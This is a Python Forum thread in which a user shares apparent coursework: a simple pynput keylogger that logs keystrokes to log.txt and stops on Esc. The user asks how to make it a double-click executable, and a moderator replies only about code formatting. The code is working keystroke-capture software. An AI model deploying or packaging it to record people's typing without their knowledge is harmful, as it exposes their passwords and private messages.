Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Keylogger Help
#1
This is what I put together but I need some help. The code is below but I don't know if its correct and I don't know how to make it Change the python file to be an executable (.exe) that the user need to double click to run the code


Design a keylogger in python using the principles of Object-Oriented Programming and make it an executable file

Extra credit

Change the python file to be an executable (.exe) that the user need to double click to run the code

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count

    keys.append(str(key))
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(str(k))

def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Larz60+ write Nov-18-2020, 01:30 AM:
Please post all code, output and errors (it it's entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.

I Fixed this for you this time. Please use bbcode tags in all future posts.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  I have an assignment - to create a keylogger MartyXO 9 5,919 May-30-2018, 03:53 PM
Last Post: MartyXO

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020